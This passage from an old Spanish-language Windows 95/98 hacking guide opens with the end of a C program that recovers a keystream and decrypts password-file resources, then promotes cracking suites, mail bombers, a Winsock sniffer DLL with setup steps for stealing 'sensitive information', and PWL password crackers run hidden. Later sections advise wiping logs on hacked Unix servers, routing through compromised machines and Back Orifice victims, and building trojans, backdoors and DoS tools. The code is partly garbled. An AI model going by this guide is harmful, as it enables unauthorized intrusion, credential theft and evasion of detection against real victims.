if(ch!='y') exit(0);
rsz=2;
i-=1;
}
pos+=rsz;
/* Resources have a tendency to have the wrong size for
some reason */
/* check for correct size */
if(i<maxr-1) {
while(Data[pos+3]!=keystream[1]) {
printf(":",Data[pos+3]);
pos+=2; /* very rude may fail */
}
}
pos+=2; /* include pointer in size */
Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;
/* insert Table data into keystream */
for(i=0;i <= maxr;i++) {
keystream[20+2*i]^=Rpoint[i] & 0x00ff;
keystream[21+2*i]^=(Rpoint[i] >> & 0x00ff;
}
cracked+=maxr*2+2;
printf("%d bytes of keystream recoveredn",cracked);
/* decrypt resources */
for(i=0;i < maxr;i++) {
rsz=Rpoint[i+1]-Rpoint[i];
if (rsz>cracked) rsz=cracked;
printf("Recource[%d] (%d)n",i,rsz);
for(j=0;j<rsz;j++) printf("%c",Data[Rpoint[i]+j]^keystream[j]);
printf("n");
}
exit(0);
}
------------ FIN -------------------------------------------------------------
Cuando lo ejecutemos nos saldra lo siguiente:
c:>glide
usage: glide filename (username)
Pidiendo el fichero y el login.
5-9. Win95 anonymail v 1.0.
Este sencillo programa nos sera de gran ayuda para enviar mail anonimo.
Cuando ejecutemos el programa nos saldra una ventana con los siguientes
campos:
Host
From
To
Subject
Solo tenemos que rellenarlos correctamente y pulsar el "send" para enviar
el mail anonimo y cuando hayamos acabado pulsar "quit".
Un programa muy sencillo que nos puede ser util. Como nota, el autor nos
advierte que nadie le envie mail anonimo con su programa, por lo que se
puede deducir que es un farol o que el programa no es tan anonimo, por
lo que el autor le habra metido un troyano.
5-10. Hacker's Utility, V 1.02.
Este magnifico programa es una suite para Hackers. Para que nos entendamos,
este programa esta compuesto por muchos otros programas y asi dispones
de un paquete perfecto para un Hacker.
Cuando ejecutamos este programa nos aparecera una ventana con un menu
arriba, y cuando abramos una de estas opciones se abrira otra ventana
con mas opciones. Ahora podemos ver el menu principal compuesto por
los submenus:
File -> HU setup, exit
Cracking -> crack passwords -> crack zip passwords
crack passwd files
passwd jackpot
words prcessing -> words wizard
xtrakt words
sort
Tools -> create & fill a dummy fill, compare binary files
Network -> finger, port scanner, ip <> name converter
Other Stuff -> hackers's test, serial numbers, extracting/ripping sound
files, extracting/ripping graphic files, manual extract/
rip files
System -> dos prompt, run custom application, shut down
Window -> cascade, tile horizontal, tile vertical, arrange icons,
main toolbar, main status bar
Help -> tip of day, index, using help, about Hacker's Utility
La verdad es que esta suite esta muy completa y nos sera de gran ayuda. Por
ejemplo el sistema se puede configurar en File->HU setup para que sea mas
personal. Cabe destacar ciertas utilidades como los crackeadores que tiene
incorporados para crackear el passwd de un Unix o romper el password de
un fichero zip. Luego en la seccion de Network, las utilidades nos seran
de mucha ayuda, como el Finger, el scaneador de puertos y el convertidor
de direcciones IP. Esto en mi opion seria lo mejor del programa pero
luego trae otras cosas que tambien nos pueden servir para al menos
divertinos un rato, esto es el caso del Hacker's Test, por ejemplo podemos
activar el Port Scanner y mientras esperamos a los resultados podemos
hacer un test para saber si somos buenos Hackers.
La verdad es que es una magnifica herramienta que los Hackers de win deben
tener.
5-11. Haktek v1.1.
AL igual que el HU, Haktek, es una suite que tambien nos sera de gran
ayuda. Pero esta suite esta mas enfocada a atacar por Internet, logicamente
con el peligro que ello conlleva.
Al ejecutar el programa, se abrira una ventana en la que veremos una serie
de iconos en la parte izquierda de la ventana y una pantalla de texto que
nos explica cada icono. Empezando de arriba para abajo:
Diskette-> graba la sesion (lo que esta en pantalla y lo que hallamos hecho
con el programa).
X -> prepara la sesion, borrando la pantalla de texto.
? -> nos habla sobre sus autores.
Circulo -> se¤alos un objetivo, por defecto www.microsoft.com.
Antena -> Utilidad ping.
Gafas -> scaneador de puertos.
Bomba -> bombardeador de correo.
Stop bomb -> para protegernos de un mailbomber.
Radio -> scaneador de IP'S.
Prismaticos -> para enviar finger nulos.
La verdad es que es una suite muy completa y nos ayudara a joder a todo
el que se ponga por delante. Con un poco de practica dominaremos este
programa a la perfeccion.
5-12. Claymore Brute Force.
Esta utlidad no sera de gran ayuda para desemcriptar passowrd's de un
fichero passwd de Unix. Cuando lo ejecutemos se abrira una ventana con
varias opciones, de facil manejo, para aquellos que quieren algo simple y
corriendo sobre win95. Este crackeador es de fuerza bruta pudiendo ser
algo lento.
5-13. Skream's Port Listener V 2.3.
En muchas ocasiones nos gustaria saber que pasa en nuestros puertos, esta
simple pero estupenda herramienta nos sera muy util, ya que la podemos
ejecutar y configurarla para que escuche en el puerto que queramos, asi
podemos saber quien o que esta conectado a nuestros puertos. Por defecto
el programa escucha en el puerto 139 (os suena?)
El programa nos permite escuchar en el puerto que querramos, ademas podemos
logear todo el proceso en un fichero.
5-14. WSOCK32 Winsock Spy Facility Version .91
Podemos usar esta DLL para espiar un sistema informatico, ya que es un
sniffer , solo funciona en Win95/98. No es dificil de utilizar, los pasos
a seguir son:
#1- Copiar el WSOCK32.DLL y ubicarlo en el directorio del programa que
querramos espiar.
#2- Configurar las siguientes variables:
> SET WSOCK_LOG=LOG
> SET WSOCK_FLAGS=s
#3- Normalmente Windows instala el estandar WSOCK32.DLL en la siguiente ruta
C:WINDOWSSYSTEMWSOCK32.DLL por eso debemos configurar el path de
nuestra DLL, en el lugar donde este de la siguiente manera:
> SET WSOCK_PATH=<el path de nuestro WSOCK32.DLL>
#4- Ejecutar el programa WinSock.
#5- Recibiras un mensaje que esta logeando.
#6- Ya puedes salir del programa.
#7- Busca un fichero llamado LOG.XXX donde las XXX son tres digitos en
hexadecimal.
#8- El fichero Log contendra toda la sesion del Winsock
El programa dispone de mas opciones de configuracion, que podemos ver como
usar leyendo la estupenda documentacion de trae. Ahora ya no tenemos excusa
alguna de que no podemos pillar "informacion sensible."
5-15. PWlTool V 4.0.
Podemos usar esta herramienta para desencriptar los famosos pwl's. La verdad
es que es una herramienta muy interesante y potente. Al ejecutar el programa
nos aparecera una ventana con multitud de opciones, incluso el nombre del
usuario que estemos usando en el momento.
El programa nos permite buscar passwords (o sea ficheros pwl's), ademas
tambien comprueba a los usuarios. El programa lo podemos dejar en modo
zombie, eso significa que trabaja en background y no nos daremos cuenta que
esta desencriptando los passwords, ademas es el modo que se recomienda
utilizar.
Es una herramienta de considero bastante completa y vital para todo aquel
hacker de Windows.
5-16. PwlView V 1.01.
Volvemos con otro programa para averiguar los ficheros pwl's Ejecutamos
el siguiente fichero :
c:>pwlview
There is no security in this crazy world!
Win95 PWL viewer v1.01 (c) 1997, 98 Vitas Ramanchauskas
http://webdon.com, e-mail:vitas@webdon.com vitas@rocketmail.com, ICQ:3024702
************
!DISCLAIMER!
!This program intended to be used for legal purpose only!
************
This program shows cached passwords using standard (but undocumented)
Windows API on local machine for current user (user must be logged in).
There is much more powerful version of this program named pwltool
is available at http://webdon.com/vitas . But it has larger size...
You may invoke pwlview in this way: pwlview >> textfile.txt
to save passwords in file (don't forget to press enter twice)
Press Enter to begin...
Y este es el mensaje que nos saca, el programa esta esperando a que pulsemos
el "boton cualquiera" para buscar los pwl's, ahora aprieto el boton y me
sale lo siguiente:
No passwords found.
Probably password caching was not used or user is not logged in.
Press Enter to quit
En mi caso sale negativo, debido a que no tengo ningun fichero pwl's Otro
programa que nos conviene tener en nuestras coleccion de herramientas.
6. Medidas De Seguridad.
En esta seccion hablare sobre varios aspectos muy importanes, logicamente
la seguridad personal, de nuestro ordenador, etc... Para que nadie pueda
jodernos aunque nos movamos por Win95/98.
6-1. Protegiendo Nuestro Ordenador.
Nuestro ordenador corriendo con Win95/98, sera propenso a muchos tipos de
ataques diferentes. Por ello conviene estar preparado y sobre estar
alerta sobre las nuevas cosas que surgen por el mundo Underground, el mejor
medio son los e-zines y por supuesto buenos amigos por el IRC.
6-1-1. Ataques Tipicos a Nuestro Windows.
Logicamente seremos muy propensos a ataques tipo DoS (denial of service),
como son el LAND, BONK, TEARDROP y por supuesto los famosos nukes, OOB,
etc ...
Para estar protegidos lo que tenemos que hacer es pasarnos por los
web's de seguridad o el de la casa Microsoft en los cuales se cuelgan
los parches de estos ataques. No siempre funcioran pero nos ahorraran
muchos disgustos en muchos casos. La gente suele ser muy propensa a estas
cosas porque no esta informada sobre estos ataques y por consiguiente
no se instala los parches correspondientes.
6-1-2. Encriptacion de Nuestra Informacion.
La informacion sensible que tengamos en nuestro disco duro conviene que
este encriptada con algun buen programa de encriptacion del tipo PGP, el
cual no puede ser roto en estos tiempos.
Tambien podemos hacer uso de la Stereografia, el arte de ocultar la
informacion. Hay varios programas en Internet que nos permiten esconder
ficheros de txt en ficheros graficos o de sonido, por supuesto habra
que tener cuidado cuando hacemos estas operaciones, debido a la diferencia
de formatos entre los ficheros.
Incluso podemos encriptar todo o parte del disco duro para mayor seguridad
en nuestros datos.
Lo recomendado es usar el PGP 5.0 o incluso la version 6, las cuales nos
seran de gran utilidad para encriptar nuestros ficheros ademas como son
para Windows todo sera por las tipicas ventanas, mas facil imposible.
6-1-3. Eliminar Informacion De Forma Segura.
Cuando borramos un fichero del disco duro, realmente no esta borrado, por
lo que puede ser rescatado mediante herramientas especiales. Esto no
es conveniente si por el caso nuestro ordenador cae en malos manos y nos
ha dado tiempo a borrar algunos ficheros, no serviria de nada ya que
podrian recuperar la informacion.
Para borrar ficheros que contegan informacion muy privada o no queremos
que nadie la pueda obtener, conviene borrar este fichero mediante algun
programa especial para el borrado de ficheros. Existen por Internet
programas muy buenos para ello o tambien podemos leernos un fichero
sobre este tema, de recomendable lectura:
Secure Deletion of Data from Magnetic and Solid-State Memory
Peter Gutmann
Department of Computer Science
University of Auckland
pgut001@cs.auckland.ac.nz
El PGP version 5 y tambien la 6, disponen de una opcion para borrar un
fichero de nuestro disco duro de forma segura o sea que no teneis excusa
para no usarla!!!
6-1-4. Eliminacion De Virus.
Los virus son una de las peores pesadillas, pero en realidad no entiendo
porque, ya que son solo programas. Y no son dificiles de controlar. Solo
conviene tener un buen antivirus o varios, si, tambien los hay por internet
a patadas y gratis.
Incluso muchos virus se pueden anular mediante un par de comandos del
MS-DOS, es simplemente conocer un poco los virus, logicamente se sale de
la tematica de esta guia. Pero la realidad es que no hay que tener miedo
de los virus. Si nuestro ordenador esta infectado, lo primero que tenemos
que hacer es calmarnos, luego hacer una copia de seguridad de nuestro
disco duro (da igual si esta infectado), por si el virus, en el peor de
los casos borra el disco duro y ahora buscar una vacuna disponible.
Si fuese el caso que nuestro antivirus no quita el virus, pues simplemente
hacemos una copia y lo enviamos a alguna empresa de seguridad informatica
ya que seguro que nos sacan un antivirus.
Los virus para Windows cada dia estan aumentando, por lo que conviene estar
atento de que AntiVirus los pueden eliminar. No me estoy refiriendo a virus
Macros sino a autenticos virus, incluso algunos capazes de borrar
informacion de nuestro disco duro.
Estos virus disponen de tecnicas stealh, polimorficos, etc. o sea que
tened cuidado y estar alerta y tener unas buenas copias de seguridad, por
si acaso.
6-2. Protegiendo Nuestras Acciones.
Esta seccion esta enfocada a esconder nuestros actos hacking por Internet.
Ya que todo lo que hagamos dejaremos huellas y por desgracia la gente no
se entera de esto y deja muchas pistas.
6-2-1. Borrando Nuestras Huellas.
Cuando conectamos a un servidor, este graba lo que hacemos (cuando hemos
conectado, como, desde donde y varias cosas mas), por eso hay que tener
mucho cuidado.
La mayoria de servidores que hackeemos por Internet seran unix, conviene
tener a mano "zappers", son programas que borran nuestras huellas en el
servidor. Existen muchos programas para este proposito que funcionan bajo
Unix. Solo los tenemos que compilar en el servidor y ejecutarlos. Por
desgracia al usar Win95/98 no podemos compilarlos en nuestro ordenador y
subirlo por FTP pero algo es algo.
Tambien tenemos que procurar esconder nuestra IP, hay muchos metodos
para ello, la mas facil es usar nodos (servidores intermedios y asi
dificultar nuestro rastreo). Un esquema simple seria el siguiente:
Hacker ------- Servidor ------ Servidor ------- Victima.
| | | |
Nosotros Primer servidor Segundo servidor Servidor victima
para despistar para despistar
Hoy en dia, podemos usar muy diferentes opciones para escondernos como por
ejemplo, servidor que hayamos hackeado, sistemas con wingates o similares e
incluso ordenadores que tenga el BO (Back Oriffice) instalado.
6-2-2. Encriptando Nuestro Correo.
Conviene encriptar nuestro correo, sobre todo si esta relacionado con el
hacking, ya que asi nadie podra saber que pone y acusarnos de nada. Siempre
podemos alegar "Privacidad en los Datos" . Al igual que antes hay varios
paquetes de PGP para mail.
Incluso es recomendable el uso de cuentas anomimas de correo, aunque de
esto la gente esta mas concenciada.
Volvemos a hacer uso de nuestro querido programa PGP version 5 o 6, a gusto
del consumidor.
7. Sugerencias Para Un Mejor Hacking.
Aqui hablare sobre algunas ideas que pueden potenciar el hacking en
Win95/98 y la creacion de nuevas herramientas.
- Programas troyanos que capturen el password del acceso a Internet.
- Programas para IP-Spoof.
- Creacion de herramientas de redes para Win95/98.
- Wardialers.
- Programas para atacar otros Win95/98 (DoS).
- Nuevas Suites.
- Programas crackeadores del passwd.
- Programas criptograficos.
- Programas eliminadores de ficheros de forma segura.
- Puertas traseras.
- Programas de administracion remota.
- Programas DoS para saltarse protecciones.
- Programas que realmente proporcionen seguridad a nuestro sistema.
8. Obtener Informacion.
Todo el mundo esta harto de ver cientos de web's donde no hay nada o
todo esta repetido. Pues ahora os pondre unas pautas que seguir para
obtener la mayor fuente posible de informacion.
- Web's sobre hack (que decir).
- Web's sobre seguridad Informatica (aqui siempre podemos encontrar
muchas cosas, que nos podran servir).
- Los RFC (Informacion tecnica sobre Internet, protocolos, seguridad,
etc...).
- Libros de colores (Documentacion tecnica sobre seguridad en muchos
aspectos).
- News (estar en un grupo de news y asi recibir noticias de lo que pasa).
- Mailing lists (aqui estaremos permanentemente informados).
- IRC (podremos hablar con otros hackers y cambiar opiniones).
9. Despedida.
Pues aqui se acaba esta guia sobre hacking en Win95/98. Espero que os halla
gustado y os sea util, por todo el esfuerzo que ha llevado esta guia.
Por desgracia me he dejado muchas cosas en el tintero, que me hubiese
gustado explicar pero quien sabe a lo mejor aperece una nueva entrega
nunca se sabe
Me gustaria descatar que a lo mejor con los ultimos puntos de la guia, te
has quedado sorprendido respecto a su titulo y despues al ver su contenido,
esto se debe a que he preferido dar pautas a seguir y no empezar a explicar
cosas que ya muchos sabran o que es informacion realmente facil de
encontrar por Internet, ademas si empiezo a explicar algunos de esos
titulos me saldria del proposito de esta guia, que es el hacking en Win95/98
y NO de otros sistemas operativos los cuales disponen de miles de guias
sobre hacking.
Bueno ya solo me queda despedirme y tened cuidado con lo que haces por
Internet, ya que un hacker no se dedica a destruir sistemas informaticos.
Y agradecer a todos los que hallan escrito sus conocimientos sobre hack
en win95/98 para la creacion de esta guia pero por supuesto que todavia
quedan muchas cosas mas, esto es simplemente una solida base para
comezar en tu "alter ego" como hacker!!!.